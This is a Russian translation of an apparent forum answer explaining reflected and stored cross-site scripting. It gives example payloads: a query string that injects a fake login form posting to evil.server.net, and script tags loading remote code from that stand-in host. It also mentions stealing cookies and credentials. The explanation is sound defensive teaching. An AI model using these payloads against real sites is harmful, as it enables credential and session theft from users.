Я не понимаю, как JS / VBscript может причинить столько вреда!
Ok. Предположим, у вас есть сайт, и он обслуживается с http://trusted.server.com/thesite
. Допустим, на этом сайте есть окно поиска, и при поиске URL-адрес становится: http://trusted.server.com/thesite?query=somesearchstring
.
Если сайт решает не обрабатывать строку поиска и выводит ее в результате, например, "Вы выполняете поиск" somesearchstring, не дало никаких результатов, тогда любой может внедрить произвольный HTML-код на сайт. Например:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
Таким образом, в этом случае сайт послушно покажет поддельную форму входа на страницу результатов поиска, и, если пользователь отправит ее, он отправит данные на злой ненадежный сервер. Но пользователь этого не видит, особенно. если URL-адрес действительно длинный, они увидят только первое но и предположат, что имеют дело с trust.server.com.
Варианты этого включают внедрение тега <script>
, который добавляет в документ обработчики событий для отслеживания действий пользователя или отправку файла cookie документа на злой сервер. Таким образом, вы можете надеяться натолкнуться на конфиденциальные данные, такие как логин, пароль или данные кредитной карты. Или вы можете попытаться вставить специально оформленный <iframe>
, который занимает все окно клиента и обслуживает сайт, который выглядит как оригинал, но на самом деле происходит от evil.server.com. Пока пользователя обманом заставляют использовать внедренный контент вместо оригинала, безопасность оказывается под угрозой.
Этот тип XSS называется отражающим и непостоянным. Отражающий, потому что URL-адрес "отражается" непосредственно в ответе, и непостоянный, потому что фактический сайт не изменяется - он просто служит проходом. Обратите внимание, что что-то вроде https здесь не предлагает никакой защиты - сам сайт сломан, потому что он повторяет ввод пользователя через строку запроса.
Уловка теперь заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любым ссылкам, которые вы им даете. Например, вы можете отправить им электронное письмо в формате HTML и добавить привлекательную ссылку, указывающую на поддельный URL-адрес. Или, возможно, вы можете распространить это на вики, форумах и т. Д. Я уверен, что вы понимаете, насколько это действительно просто - это просто ссылка, что может пойти не так, верно?
Иногда бывает и хуже. Некоторые сайты фактически хранят контент, предоставленный пользователями. Простой пример: комментарии в блоге или темы на форуме. Или это может быть более тонко: страница профиля пользователя в социальной сети. Если на этих страницах разрешен произвольный HTML, особенно. script, и этот предоставленный пользователем html сохраняется и воспроизводится, то риску подвергаются все, кто просто посещает страницу, содержащую этот контент. Это постоянный XSS. Теперь пользователям больше не нужно переходить по ссылке, достаточно просто посетить. Опять же, настоящая атака заключается в изменении страницы с помощью сценария для захвата пользовательских данных.
Внедрение скрипта может быть грубым, например, можно вставить полный <script src="http://evil.server.net/script.js">
или может быть незаметным: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>
.
Что касается того, как защитить себя: главное никогда не выводить пользовательский ввод. Это может быть сложно, если ваш сайт основан на пользовательском контенте с разметкой.
person
Roland Bouman
schedule
09.02.2010